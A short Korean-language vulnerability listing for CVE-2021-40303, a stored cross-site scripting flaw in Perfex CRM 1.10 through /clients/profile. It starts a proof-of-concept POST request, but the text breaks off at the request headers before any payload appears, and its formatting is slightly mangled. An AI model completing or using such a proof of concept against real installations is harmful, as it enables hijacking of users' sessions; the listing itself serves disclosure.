CVE-2021-40303

CVE-2021-40303 perfex crm 1.10은 /clients/profile을 통해 저장형 크로스 사이트 스크립팅XSS에 취약합니다. poc: root@kitploit: POST /clients/profile HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept:...